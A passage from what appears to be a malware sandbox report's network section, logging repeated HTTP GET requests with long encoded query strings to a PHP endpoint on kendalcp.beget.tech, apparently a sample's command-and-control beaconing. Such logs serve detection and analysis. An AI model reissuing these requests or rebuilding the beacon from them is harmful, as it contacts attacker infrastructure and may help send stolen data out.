MZl2dplkeGdUZsJFbJZTSpJmdsJjWspkbJNXSpJGbWdkYzxmMTl2bqlUNShVYqp0QMl2a65UdBRlT5RzQOFTSqxkejRVTp9maJdHbtl0NwpWS2pVbipkQYNVa3lWS6ZVbiZHctlkNJNlW0ZUbUlnVyMmVKNETpdGVPd3ZE9kMJl2TpV1VihWNwEVUKNETplkeNVXVqxEMJl2TplEWadlSYplMKhlWUp0QMlWT5FVavpWSsJEWlVlSYplMKhlWUpUelJiOikDNjFmZ1ADZjVWO5IzN3YmM3ATZkZjN0EGNwEjZ1EDMiwiI1MDMyMWZ2kTOxMTO3MWOiZGOzQDZiJDN4QmZkZmNzADOjNzYmlDM5IiOiYmZlhjYlhjYmJTN4ATM0YWZ3IWYmdTM4QWZxQzNwADNiwiI0YDN2UmYlNWZ0YjM0ATN0IGM3M2M3QjZ5UDZ2EmZzUDOlJzNyYGO2IiOikjZwEzYwY2NiVTNyIWM1EWM0czN4ImN5QjZxcjN3QmNis3W HTTP/1.1Accept: /Content-Type: text/javascriptUser-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0Host: kendalcp.beget.techConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /03ee7260.php?wETyxtu=dcAcSt2GxtujsnpobEIBaNFIx4sKI&flgmNv6FC5gXrN=6bIZoWtlsePX2oXBr7XOID&Z3sVB=fCg1b1cj&a00d9d0a7c2dde7f2bd3bd525e299726=4UmNzIWM1MTO2ATYwYGMzQGNxYWMhRTYxI2YhBTM1gDNhVDO4ImZkZjMwMTO5YzM1YDN4cDO&6d87c9ed05422ad98f508ceb2bec8047=QZjlTOmV2NiNmNjV2YihDZjZTZ4czN2EjZ0QWMhJGNlBDO1I2N3YGN&55cfc129788785dd4524a2115c69a313=d1nIxY2Y4UGM3Y2YhBzM3YmM0QDNjFDNlJmNlRTNjJWOyQTN0E2N3YWO3IiOiYmZlhjYlhjYmJTN4ATM0YWZ3IWYmdTM4QWZxQzNwADNiwiI0YDN2UmYlNWZ0YjM0ATN0IGM3M2M3QjZ5UDZ2EmZzUDOlJzNyYGO2IiOikjZwEzYwY2NiVTNyIWM1EWM0czN4ImN5QjZxcjN3QmNis3W&ad99d8605775097dbb5d7088bc5179a0=0VfiIiOikDNjFmZ1ADZjVWO5IzN3YmM3ATZkZjN0EGNwEjZ1EDMiwiIxY2Y4UGM3Y2YhBzM3YmM0QDNjFDNlJmNlRTNjJWOyQTN0E2N3YWO3IiOiYmZlhjYlhjYmJTN4ATM0YWZ3IWYmdTM4QWZxQzNwADNiwiI0YDN2UmYlNWZ0YjM0ATN0IGM3M2M3QjZ5UDZ2EmZzUDOlJzNyYGO2IiOikjZwEzYwY2NiVTNyIWM1EWM0czN4ImN5QjZxcjN3QmNisHL9JSOWp2TpFFWkZnVXJGcSZ0YsZ1RiRlSDxUaj1mYwJEWaxGeyUVavpWS6ZFSkhmUzUVNShVYyw2RkpmRrl0cJl2YsR2VZVnRXR1ZwcVW5RmMilnQslkNJlHZ2JVbiBHZGZFRGtWSzlUaUl2bqlEdGJTWpZlMWpHbtl0cJN1Vp9maJxWNyI2bCNjY550Vh5kTYFWa3lWSwRjMkZXNyEWdWZ0SnRjMkZXNyEWdWxWS2k0UaRnRtRlVCFTUpdXaJBHNyQmd1ITY1ZlRLdGNyQmd1ITY1ZFbJZTSTpFdG1GVWJUMSl2dplkWKl2TpRzVhRnUXFles1WSzlUaJZTS5JlQSxWSzl0QkBnSFlEMZRUSs5EWhlnQuNGbS5mYGJ0QNhXQ5N2M5ckW1xmMWl2bqlUeW1mV1xmMWl2dTZWa4IjWo50Vh9mTwwEaOdVY5Z1ViJkSp9UaV1mY2BHWaRHbHRWa3lWS3FERNdXQE1UavpWSzZ0RkpXOHNWa3lWS6Z1RkhmUzU1ZRdlWwwWbiZlQTx0ZRdlWwp1VhpmVHNmeCNEZ2VzaJZTS5pVe50WSzlUaOdXUE9UdjR1T0d3UOJTQE1UdFpXTp9maJpWOHJWa3lWSUZFbJZTSTVWeS5mYxkjMZl2dplkeGdUZsJFbJZTSpJmdsJjWspkbJNXSpJGbWdkYzxmMTl2bqlUNShVYqp0QMl2a65UdBRlT5RzQOFTSqxkejRVTp9maJdHbtl0NwpWS2pVbipkQYNVa3lWS6ZVbiZHctlkNJNlW0ZUbUlnVyMmVKNETpdGVPd3ZE9kMJl2TpV1VihWNwEVUKNETplkeNVXVqxEMJl2TplEWadlSYplMKhlWUp0QMlWT5FVavpWSsJEWlVlSYplMKhlWUpUelJiOikDNjFmZ1ADZjVWO5IzN3YmM3ATZkZjN0EGNwEjZ1EDMiwiI1MDMyMWZ2kTOxMTO3MWOiZGOzQDZiJDN4QmZkZmNzADOjNzYmlDM5IiOiYmZlhjYlhjYmJTN4ATM0YWZ3IWYmdTM4QWZxQzNwADNiwiI0YDN2UmYlNWZ0YjM0ATN0IGM3M2M3QjZ5UDZ2EmZzUDOlJzNyYGO2IiOikjZwEzYwY2NiVTNyIWM1EWM0czN4ImN5QjZxcjN3QmNis3W HTTP/1.1Accept: /Content-Type: text/javascriptUser-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0Host: kendalcp.beget.techConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /03ee7260.php?wETyxtu=dcAcSt2GxtujsnpobEIBaNFIx4sKI&flgmNv6FC5gXrN=6bIZoWtlsePX2oXBr7XOID&Z3sVB=fCg1b1cj&a00d9d0a7c2dde7f2bd3bd525e299726=4UmNzIWM1MTO2ATYwYGMzQGNxYWMhRTYxI2YhBTM1gDNhVDO4ImZkZjMwMTO5YzM1YDN4cDO&6d87c9ed05422ad98f508ceb2bec8047=QZjlTOmV2NiNmNjV2YihDZjZTZ4czN2EjZ0QWMhJGNlBDO1I2N3YGN&55cfc129788785dd4524a2115c69a313=d1nIxY2Y4UGM3Y2YhBzM3YmM0QDNjFDNlJmNlRTNjJWOyQTN0E2N3YWO3IiOiYmZlhjYlhjYmJTN4ATM0YWZ3IWYmdTM4QWZxQzNwADNiwiI0YDN2UmYlNWZ0YjM0ATN0IGM3M2M3QjZ5UDZ2EmZzUDOlJzNyYGO2IiOikjZwEzYwY2NiVTNyIWM1EWM0czN4ImN5QjZxcjN3QmNis3W&ad99d8605775097dbb5d7088bc5179a0=0VfiIiOikDNjFmZ1ADZjVWO5IzN3YmM3ATZkZjN0EGNwEjZ1EDMiwiIxY2Y4UGM3Y2YhBzM3YmM0QDNjFDNlJmNlRTNjJWOyQTN0E2N3YWO3IiOiYmZlhjYlhjYmJTN4ATM0YWZ3IWYmdTM4QWZxQzNwADNiwiI0YDN2UmYlNWZ0YjM0ATN0IGM3M2M3QjZ5UDZ2EmZzUDOlJzNyYGO2IiOikjZwEzYwY2NiVTNyIWM1EWM0czN4ImN5QjZxcjN3QmNisHL9JSOWp2TpFFWkZnVXJGcSZ0YsZ1RiRlSDxUaj1mYwJEWaxGeyUVavpWS6ZFSkhmUzUVNShVYyw2RkpmRrl0cJl2YsR2VZVnRXR1ZwcVW5RmMilnQslkNJlHZ2JVbiBHZGZFRGtWSzlUaUl2bqlEdGJTWpZlMWpHbtl0cJN1Vp9maJxWNyI2bCNjY550Vh5kTYFWa3lWSwRjMkZXNyEWdWZ0SnRjMkZXNyEWdWxWS2k0UaRnRtRlVCFTUpdXaJBHNyQmd1ITY1ZlRLdGNyQmd1ITY1ZFbJZTSTpFdG1GVWJUMSl2dplkWKl2TpRzVhRnUXFles1WSzlUaJZTS5JlQSxWSzl0QkBnSFlEMZRUSs5EWhlnQuNGbS5mYGJ0QNhXQ5N2M5ckW1xmMWl2bqlUeW1mV1xmMWl2dTZWa4IjWo50Vh9mTwwEaOdVY5Z1ViJkSp9UaV1mY2BHWaRHbHRWa3lWS3FERNdXQE1UavpWSzZ0RkpXOHNWa3lWS6Z1RkhmUzU1ZRdlWwwWbiZlQTx0ZRdlWwp1VhpmVHNmeCNEZ2VzaJZTS5pVe50WSzlUaOdXUE9UdjR1T0d3UOJTQE1UdFpXTp9maJpWOHJWa3lWSUZFbJZTSTVWeS5mYxkjMZl2dplkeGdUZsJFbJZTSpJmdsJjWspkbJNXSpJGbWdkYzxmMTl2bqlUNShVYqp0QMl2a65UdBRlT5RzQOFTSqxkejRVTp9maJdHbtl0NwpWS2pVbipkQYNVa3lWS6ZVbiZHctlkNJNlW0ZUbUlnVyMmVKNETpdGVPd3ZE9kMJl2TpV1VihWNwEVUKNETplkeNVXVqxEMJl2TplEWadlSYplMKhlWUp0QMlWT5FVavpWSsJEWlVlSYplMKhlWUpUelJiOikDNjFmZ1ADZjVWO5IzN3YmM3ATZkZjN0EGNwEjZ1EDMiwiI1MDMyMWZ2kTOxMTO3MWOiZGOzQDZiJDN4QmZkZmNzADOjNzYmlDM5IiOiYmZlhjYlhjYmJTN4ATM0YWZ3IWYmdTM4QWZxQzNwADNiwiI0YDN2UmYlNWZ0YjM0ATN0IGM3M2M3QjZ5UDZ2EmZzUDOlJzNyYGO2IiOikjZwEzYwY2NiVTNyIWM1EWM0czN4ImN5QjZxcjN3QmNis3W HTTP/1.1Accept: /Content-Type: text/javascriptUser-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0Host: kendalcp.beget.tech
Source: global traffic	HTTP traffic detected: GET /03ee7260.php?wETyxtu=dcAcSt2GxtujsnpobEIBaNFIx4sKI&flgmNv6FC5gXrN=6bIZoWtlsePX2oXBr7XOID&Z3sVB=fCg1b1cj&a00d9d0a7c2dde7f2bd3bd525e299726=4UmNzIWM1MTO2ATYwYGMzQGNxYWMhRTYxI2YhBTM1gDNhVDO4ImZkZjMwMTO5YzM1YDN4cDO&6d87c9ed05422ad98f508ceb2bec8047=QZjlTOmV2NiNmNjV2YihDZjZTZ4czN2EjZ0QWMhJGNlBDO1I2N3YGN&55cfc129788785dd4524a2115c69a313=d1nIxY2Y4UGM3Y2YhBzM3YmM0QDNjFDNlJmNlRTNjJWOyQTN0E2N3YWO3IiOiYmZlhjYlhjYmJTN4ATM0YWZ3IWYmdTM4QWZxQzNwADNiwiI0YDN2UmYlNWZ0YjM0ATN0IGM3M2M3QjZ5UDZ2EmZzUDOlJzNyYGO2IiOikjZwEzYwY2NiVTNyIWM1EWM0czN4ImN5QjZxcjN3QmNis3W&ad99d8605775097dbb5d7088bc5179a0=0VfiIiOikDNjFmZ1ADZjVWO5IzN3YmM3ATZkZjN0EGNwEjZ1EDMiwiIxY2Y4UGM3Y2YhBzM3YmM0QDNjFDNlJmNlRTNjJWOyQTN0E2N3YWO3IiOiYmZlhjYlhjYmJTN4ATM0YWZ3IWYmdTM4QWZxQzNwADNiwiI0YDN2UmYlNWZ0YjM0ATN0IGM3M2M3QjZ5UDZ2EmZzUDOlJzNyYGO2IiOikjZwEzYwY2NiVTNyIWM1EWM0czN4ImN5QjZxcjN3QmNisHL9JSOWp2TpFFWkZnVXJGcSZ0YsZ1RiRlSDxUaj1mYwJEWaxGeyUVavpWS6ZFSkhmUzUVNShVYyw2RkpmRrl0cJl2YsR2VZVnRXR1ZwcVW5RmMilnQslkNJlHZ2JVbiBHZGZFRGtWSzlUaUl2bqlEdGJTWpZlMWpHbtl0cJN1Vp9maJxWNyI2bCNjY550Vh5kTYFWa3lWSwRjMkZXNyEWdWZ0SnRjMkZXNyEWdWxWS2k0UaRnRtRlVCFTUpdXaJBHNyQmd1ITY1ZlRLdGNyQmd1ITY1ZFbJZTSTpFdG1GVWJUMSl2dplkWKl2TpRzVhRnUXFles1WSzlUaJZTS5JlQSxWSzl0QkBnSFlEMZRUSs5EWhlnQuNGbS5mYGJ0QNhXQ5N2M5ckW1xmMWl2bqlUeW1mV1xmMWl2dTZWa4IjWo50Vh9mTwwEaOdVY5Z1ViJkSp9UaV1mY2BHWaRHbHRWa3lWS3FERNdXQE1UavpWSzZ0RkpXOHNWa3lWS6Z1RkhmUzU1ZRdlWwwWbiZlQTx0ZRdlWwp1VhpmVHNmeCNEZ2VzaJZTS5pVe50WSzlUaOdXUE9UdjR1T0d3UOJTQE1UdFpXTp9maJpWOHJWa3lWSUZFbJZTSTVWeS5mYxkjMZl2dplkeGdUZsJFbJZTSpJmdsJjWspkbJNXSpJGbWdkYzxmMTl2bqlUNShVYqp0QMl2a65UdBRlT5RzQOFTSqxkejRVTp9maJdHbtl0NwpWS2pVbipkQYNVa3lWS6ZVbiZHctlkNJNlW0ZUbUlnVyMmVKNETpdGVPd3ZE9kMJl2TpV1VihWNwEVUKNETplkeNVXVqxEMJl2TplEWadlSYplMKhlWUp0QMlWT5FVavpWSsJEWlVlSYplMKhlWUpUelJiOikDNjFmZ1ADZjVWO5IzN3YmM3ATZkZjN0EGNwEjZ1EDMiwiI1MDMyMWZ2kTOxMTO3MWOiZGOzQDZiJDN4QmZkZmNzADOjNzYmlDM5IiOiYmZlhjYlhjYmJTN4ATM0YWZ3IWYmdTM4QWZxQzNwADNiwiI0YDN2UmYlNWZ0YjM0ATN0IGM3M2M3QjZ5UDZ2EmZzUDOlJzNyYGO2IiOikjZwEzYwY2NiVTNyIWM1EWM0czN4ImN5QjZxcjN3QmNis3W HTTP/1.1Accept: /Content-Type: text/javascriptUser-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0Host: kendalcp.beget.techConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /03ee7260.php?wETyxtu=dcAcSt2GxtujsnpobEIBaNFIx4sKI&flgmNv6FC5gXrN=6bIZoWtlsePX2oXBr7XOID&Z3sVB=fCg1b1cj&a00d9d0a7c2dde7f2bd3bd525e299726=4UmNzIWM1MTO2ATYwYGMzQGNxYWMhRTYxI2YhBTM1gDNhVDO4ImZkZjMwMTO5YzM1YDN4cDO&6d87c9ed05422ad98f508ceb2bec8047=QZjlTOmV2NiNmNjV2YihDZjZTZ4czN2EjZ0QWMhJGNlBDO1I2N3YGN&55cfc129788785dd4524a2115c69a313=d1nIxY2Y4UGM3Y2YhBzM3YmM0QDNjFDNlJmNlRTNjJWOyQTN0E2N3YWO3IiOiYmZlhjYlhjYmJTN4ATM0YWZ3IWYmdTM4QWZxQzNwADNiwiI0YDN2UmYlNWZ0YjM0ATN0IGM3M2M3QjZ5UDZ2EmZzUDOlJzNyYGO2IiOikjZwEzYwY2NiVTNyIWM1EWM0czN4ImN5QjZxcjN3QmNis3W&ad99d8605775097dbb5d7088bc5179a0=0VfiIiOikDNjFmZ1ADZjVWO5IzN3YmM3ATZkZjN0EGNwEjZ1EDMiwiIxY2Y4UGM3Y2YhBzM3YmM0QDNjFDNlJmNlRTNjJWOyQTN0E2N3YWO3IiOiYmZlhjYlhjYmJTN4ATM0YWZ3IWYmdTM4QWZxQzNwADNiwiI0YDN2UmYlNWZ0YjM0ATN0IGM3M2M3QjZ5UDZ2EmZzUDOlJzNyYGO2IiOikjZwEzYwY2NiVTNyIWM1EWM0czN4ImN5QjZxcjN3QmNisHL9JSOWp2TpFFWkZnVXJGcSZ0YsZ1RiRlSDxUaj1mYwJEWaxGeyUVavpWS6ZFSkhmUzUVNShVYyw2RkpmRrl0cJl2YsR2VZVnRXR1ZwcVW5RmMilnQslkNJlHZ2JVbiBHZGZFRGtWSzlUaUl2bqlEdGJTWpZlMWpHbtl0cJN1Vp9maJxWNyI2bCNjY550Vh5kTYFWa3lWSwRjMkZXNyEWdWZ0SnRjMkZXNyEWdWxWS2k0UaRnRtRlVCFTUpdXaJBHNyQmd1ITY1ZlRLdGNyQmd1ITY1ZFbJZTSTpFdG1GVWJUMSl2dplkWKl2TpRzVhRnUXFles1WSzlUaJZTS5JlQSxWSzl0QkBnSFlEMZRUSs5EWhlnQuNGbS5mYGJ0QNhXQ5N2M5ckW1xmMWl2bqlUeW1mV1xmMWl2dTZWa4IjWo50Vh9mTwwEaOdVY5Z1ViJkSp9UaV1mY2BHWaRHbHRWa3lWS3FERNdXQE1UavpWSzZ0RkpXOHNWa3lWS6Z1RkhmUzU1ZRdlWwwWbiZlQTx0ZRdlWwp1VhpmVHNmeCNEZ2VzaJZTS5pVe50WSzlUaOdXUE9UdjR1T0d3UOJTQE1UdFpXTp9maJpWOHJWa3lWSUZFbJZTSTVWeS5mYxkjMZl2dplkeGdUZsJFbJZTSpJmdsJjWspkbJNXSpJGbWdkYzxmMTl2bqlUNShVYqp0QMl2a65UdBRlT5RzQOFTSqxkejRVTp9maJdHbtl0NwpWS2pVbipkQYNVa3lWS6ZVbiZHctlkNJNlW0ZUbUlnVyMmVKNETpdGVPd3ZE9kMJl2TpV1VihWNwEVUKNETplkeNVXVqxEMJl2TplEWadlSYplMKhlWUp0QMlWT5FVavpWSsJEWlVlSYplMKhlWUpUelJiOikDNjFmZ1ADZjVWO5IzN3YmM3ATZkZjN0EGNwEjZ1EDMiwiI1MDMyMWZ2kTOxMTO3MWOiZGOzQDZiJDN4QmZkZmNzADOjNzYmlDM5IiOiYmZlhjYlhjYmJTN4ATM0YWZ3IWYmdTM4QWZxQzNwADNiwiI0YDN2UmYlNWZ0YjM0ATN0IGM3M2M3QjZ5UDZ2EmZzUDOlJzNyYGO2IiOikjZwEzYwY2NiVTNyIWM1EWM0czN4ImN5QjZxcjN3QmNis3W HTTP/1.1Accept: /Content-Type: text/javascriptUser-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0Host: kendalcp.beget.techConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /03ee7260.php?wETyxtu=dcAcSt2GxtujsnpobEIBaNFIx4sKI&flgmNv6FC5gXrN=6bIZoWtlsePX2oXBr7XOID&Z3sVB=fCg1b1cj&a00d9d0a7c2dde7f2bd3bd525e299726=4UmNzIWM1MTO2ATYwYGMzQGNxYWMhRTYxI2YhBTM1gDNhVDO4ImZkZjMwMTO5YzM1YDN4cDO&6d87c9ed05422ad98f508ceb2bec8047=QZjlTOmV2NiNmNjV2YihDZjZTZ4czN2EjZ0QWMhJGNlBDO1I2N3YGN&55cfc129788785dd4524a2115c69a313=d1nIxY2Y4UGM3Y2YhBzM3YmM0QDNjFDNlJmNlRTNjJWOyQTN0E2N3YWO3IiOiYmZlhjYlhjYmJTN4ATM0YWZ3IWYmdTM4QWZxQzNwADNiwiI0YDN2UmYlNWZ0YjM0ATN0IGM3M2M3QjZ5UDZ2EmZzUDOlJzNyYGO2IiOikjZwEzYwY2NiVTNyIWM1EWM0czN4ImN5QjZxcjN3QmNis3W&ad99d8605775097dbb5d7088bc5179a0=d1nIiojI5QzYhZWNwQ2YllTOyczNmJzNwUGZ2YDNhRDMxYWNxAjIsISMmNGOlBzNmNWYwMzNmJDN0QzYxQTZiZTZ0UzYiljM0UDNhdzNmlzNiojImZWZ4IWZ4ImZyUDOwEDNmV2NiFmZ3EDOkVWM0cDMwQjIsICN2QjNlJWZjVGN2IDNwUDNiBzNjNzN0YWO1QmNhZ2M1gTZycjMmhjNiojI5YGMxMGMmdjY1UjMiFTNhFDN3cDOiZTO0YWM3YzNkZjI7xSfikjVq9UaRhFZ2Z1ViBnUGNGbWdkYUp0QMl2YtJGcChlWshnMVl2bqlkeWhEZoJ1MVVjUYFmMsdEZqZ0aJNXSplkNJlHZ2JVbiBHZGZFRGtWSzlUaUl2bqlEdGJTWpZlMWpHbtl0cJN1Vp9maJxWNyI2bCNjY550Vh5kTYFWa3lWSwRjMkZXNyEWdWZ0SnRjMkZXNyEWdWxWS2k0UaRnRtRlVCFTUpdXaJBHNyQmd1ITY1ZlRLdGNyQmd1ITY1ZFbJZTSTpFdG1GVWJUMSl2dplkWKl2TpRzVhRnUXFles1WSzlUaJZTS5JlQSxWSzl0QkBnSFlEMZRUSs5EWhlnQuNGbS5mYGJ0QNhXQ5N2M5ckW1xmMWl2bqlUeW1mV1xmMWl2dTZWa4IjWo50Vh9mTwwEaOdVY5Z1ViJkSp9UaV1mY2BHWaRHbHRWa3lWS3FERNdXQE1UavpWSzZ0RkpXOHNWa3lWS6Z1RkhmUzU1ZRdlWwwWbiZlQTx0ZRdlWwp1VhpmVHNmeCNEZ2VzaJZTS5pVe50WSzlUaOdXUE9UdjR1T0d3UOJTQE1UdFpXTp9maJpWOHJWa3lWSUZFbJZTSTVWeS5mYxkjMZl2dplkeGdUZsJFbJZTSpJmdsJjWspkbJNXSpJGbWdkYzxmMTl2bqlUNShVYqp0QMl2a65UdBRlT5RzQOFTSqxkejRVTp9maJdHbtl0NwpWS2pVbipkQYNVa3lWS6ZVbiZHctlkNJNlW0ZUbUlnVyMmVKNETpdGVPd3ZE9kMJl2TpV1VihWNwEVUKNETplkeNVXVqxEMJl2TplEWadlSYplMKhlWUp0QMlWT5FVavpWSsJEWlVlSYplMKhlWUpUelJiOikDNjFmZ1ADZjVWO5IzN3YmM3ATZkZjN0EGNwEjZ1EDMiwiI1MDMyMWZ2kTOxMTO3MWOiZGOzQDZiJDN4QmZkZmNzADOjNzYmlDM5IiOiYmZlhjYlhjYmJTN4ATM0YWZ3IWYmdTM4QWZxQzNwADNiwiI0YDN2UmYlNWZ0YjM0ATN0IGM3M2M3QjZ5UDZ2EmZzUDOlJzNyYGO2IiOikjZwEzYwY2NiVTNyIWM1EWM0czN4ImN5QjZxcjN3QmNis3W HTTP/1.1Accept: /Content-Type: text/javascriptUser-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0Host: kendalcp.beget.techConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /03ee7260.php?wETyxtu=dcAcSt2GxtujsnpobEIBaNFIx4sKI&flgmNv6FC5gXrN=6bIZoWtlsePX2oXBr7XOID&Z3sVB=fCg1b1cj&a00d9d0a7c2dde7f2bd3bd525e299726=4UmNzIWM1MTO2ATYwYGMzQGNxYWMhRTYxI2YhBTM1gDNhVDO4ImZkZjMwMTO5YzM1YDN4cDO&6d87c9ed05422ad98f508ceb2bec8047=QZjlTOmV2NiNmNjV2YihDZjZTZ4czN2EjZ0QWMhJGNlBDO1I2N3YGN&55cfc129788785dd4524a2115c69a313=d1nIxY2Y4UGM3Y2YhBzM3YmM0QDNjFDNlJmNlRTNjJWOyQTN0E2N3YWO3IiOiYmZlhjYlhjYmJTN4ATM0YWZ3IWYmdTM4QWZxQzNwADNiwiI0YDN2UmYlNWZ0YjM0ATN0IGM3M2M3QjZ5UDZ2EmZzUDOlJzNyYGO2IiOikjZwEzYwY2NiVTNyIWM1EWM0czN4ImN5QjZxcjN3QmNis3W&ad99d8605775097dbb5d7088bc5179a0=0VfiIiOikDNjFmZ1ADZjVWO5IzN3YmM3ATZkZjN0EGNwEjZ1EDMiwiIxY2Y4UGM3Y2YhBzM3YmM0QDNjFDNlJmNlRTNjJWOyQTN0E2N3YWO3IiOiYmZlhjYlhjYmJTN4ATM0YWZ3IWYmdTM4QWZxQzNwADNiwiI0YDN2UmYlNWZ0YjM0ATN0IGM3M2M3QjZ5UDZ2EmZzUDOlJzNyYGO2IiOikjZwEzYwY2NiVTNyIWM1EWM0czN4ImN5QjZxcjN3QmNisHL9JSOWp2TpFFWkZnVXJGcSZ0YsZ1RiRlSDxUaj1mYwJEWaxGeyUVavpWS6ZFSkhmUzUVNShVYyw2RkpmRrl0cJl2YsR2VZVnRXR1ZwcVW5RmMilnQslkNJlHZ2JVbiBHZGZFRGtWSzlUaUl2bqlEdGJTWpZlMWpHbtl0cJN1Vp9maJxWNyI2bCNjY550Vh5kTYFWa3lWSwRjMkZXNyEWdWZ0SnRjMkZXNyEWdWxWS2k0UaRnRtRlVCFTUpdXaJBHNyQmd1ITY1ZlRLdGNyQmd1ITY1ZFbJZTSTpFdG1GVWJUMSl2dplkWKl2TpRzVhRnUXFles1WSzlUaJZTS5JlQSxWSzl0QkBnSFlEMZRUSs5EWhlnQuNGbS5mYGJ0QNhXQ5N2M5ckW1xmMWl2bqlUeW1mV1xmMWl2dTZWa4IjWo50Vh9mTwwEaOdVY5Z1ViJkSp9UaV1mY2BHWaRHbHRWa3lWS3FERNdXQE1UavpWSzZ0RkpXOHNWa3lWS6Z1RkhmUzU1ZRdlWwwWbiZlQTx0ZRdlWwp1VhpmVHNmeCNEZ2VzaJZTS5pVe50WSzlUaOdXUE9UdjR1T0d3UOJTQE1UdFpXTp9maJpWOHJWa3lWSUZFbJZTSTVWeS5mYxkjMZl2dplkeGdUZsJFbJZTSpJmdsJjWspkbJNXSpJGbWdkYzxmMTl2bqlUNShVYqp0QMl2a65UdBRlT5RzQOFTSqxkejRVTp9maJdHbtl0NwpWS2pVbipkQYNVa3lWS6ZVbiZHctlkNJNlW0ZUbUlnVyMmVKNETpdGVPd3ZE9kMJl2TpV1VihWNwEVUKNETplkeNVXVqxEMJl2TplEWadlSYplMKhlWUp0QMlWT5FVavpWSsJEWlVlSYplMKhlWUpUelJiOikDNjFmZ1ADZjVWO5IzN3YmM3ATZkZjN0EGNwEjZ1EDMiwiI1MDMyMWZ2kTOxMTO3MWOiZGOzQDZiJDN4QmZkZmNzADOjNzYmlDM5IiOiYmZlhjYlhjYmJTN4ATM0YWZ3IWYmdTM4QWZxQzNwADNiwiI0YDN2UmYlNWZ0YjM0ATN0IGM3M2M3QjZ5UDZ2EmZzUDOlJzNyYGO2IiOikjZwEzYwY2NiVTNyIWM1EWM0czN4ImN5QjZxcjN3QmNis3W HTTP/1.1Accept: /Content-Type: text/javascriptUser-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0Host: kendalcp.beget.techConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /03ee7260.php?wETyxtu=dcAcSt2GxtujsnpobEIBaNFIx4sKI&flgmNv6FC5gXrN=6bIZoWtlsePX2oXBr7XOID&Z3sVB=fCg1b1cj&a00d9d0a7c2dde7f2bd3bd525e299726=4UmNzIWM1MTO2ATYwYGMzQGNxYWMhRTYxI2YhBTM1gDNhVDO4ImZkZjMwMTO5YzM1YDN4cDO&6d87c9ed05422ad98f508ceb2bec8047=QZjlTOmV2NiNmNjV2YihDZjZTZ4czN2EjZ0QWMhJGNlBDO1I2N3YGN&55cfc129788785dd4524a2115c69a313=d1nIxY2Y4UGM3Y2YhBzM3YmM0QDNjFDNlJmNlRTNjJWOyQTN0E2N3YWO3IiOiYmZlhjYlhjYmJTN4ATM0YWZ3IWYmdTM4QWZxQzNwADNiwiI0YDN2UmYlNWZ0YjM0ATN0IGM3M2M3QjZ5UDZ2EmZzUDOlJzNyYGO2IiOikjZwEzYwY2NiVTNyIWM1EWM0czN4ImN5QjZxcjN3QmNis3W&ad99d8605775097dbb5d7088bc5179a0=0VfiIiOikDNjFmZ1ADZjVWO5IzN3YmM3ATZkZjN0EGNwEjZ1EDMiwiIxY2Y4UGM3Y2YhBzM3YmM0QDNjFDNlJmNlRTNjJWOyQTN0E2N3YWO3IiOiYmZlhjYlhjYmJTN4ATM0YWZ3IWYmdTM4QWZxQzNwADNiwiI0YDN2UmYlNWZ0YjM0ATN0IGM3M2M3QjZ5UDZ2EmZzUDOlJzNyYGO2IiOikjZwEzYwY2NiVTNyIWM1EWM0czN4ImN5QjZxcjN3QmNisHL9JSOWp2TpFFWkZnVXJGcSZ0YsZ1RiRlSDxUaj1mYwJEWaxGeyUVavpWS6ZFSkhmUzUVNShVYyw2RkpmRrl0cJl2YsR2VZVnRXR1ZwcVW5RmMilnQslkNJlHZ2JVbiBHZGZFRGtWSzlUaUl2bqlEdGJTWpZlMWpHbtl0cJN1Vp9maJxWNyI2bCNjY550Vh5kTYFWa3lWSwRjMkZXNyEWdWZ0SnRjMkZXNyEWdWxWS2k0UaRnRtRlVCFTUpdXaJBHNyQmd1ITY1ZlRLdGNyQmd1ITY1ZFbJZTSTpFdG1GVWJUMSl2dplkWKl2TpRzVhRnUXFles1WSzlUaJZTS5JlQSxWSzl0QkBnSFlEMZRUSs5EWhlnQuNGbS5mYGJ0QNhXQ5N2M5ckW1xmMWl2bqlUeW1mV1xmMWl2dTZWa4IjWo50Vh9mTwwEaOdVY5Z1ViJkSp9UaV1mY2BHWaRHbHRWa3lWS3FERNdXQE1UavpWSzZ0RkpXOHNWa3lWS6Z1RkhmUzU1ZRdlWwwWbiZlQTx0ZRdlWwp1VhpmVHNmeCNEZ2VzaJZTS5pVe50WSzlUaOdXUE9UdjR1T0d3UOJTQE1UdFpXTp9maJpWOHJWa3lWSUZFbJZTSTVWeS5mYxkjMZl2dplkeGdUZsJFbJZTSpJmdsJjWspkbJNXSpJGbWdkYzxmMTl2bqlUNShVYqp0QMl2a65UdBRlT5RzQOFTSqxkejRVTp9maJdHbtl0NwpWS2pVbipkQYNVa3lWS6ZVbiZHctlkNJNlW0ZUbUlnVyMmVKNETpdGVPd3ZE9kMJl2TpV1VihWNwEVUKNETplkeNVXVqxEMJl2TplEWadlSYplMKhlWUp0QMlWT5FVavpWSsJEWlVlSYplMKhlWUpUelJiOikDNjFmZ1ADZjVWO5IzN3YmM3ATZkZjN0EGNwEjZ1EDMiwiI1MDMyMWZ2kTOxMTO3MWOiZGOzQDZiJDN4QmZkZmNzADOjNzYmlDM5IiOiYmZlhjYlhjYmJTN4ATM0YWZ3IWYmdTM4QWZxQzNwADNiwiI0YDN2UmYlNWZ0YjM0ATN0IGM3M2M3QjZ5UDZ2EmZzUDOlJzNyYGO2IiOikjZwEzYwY2NiVTNyIWM1EWM0czN4ImN5QjZxcjN3QmNis3W HTTP/1.1Accept: /Content-Type: text/javascriptUser-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0Host: kendalcp.beget.tech
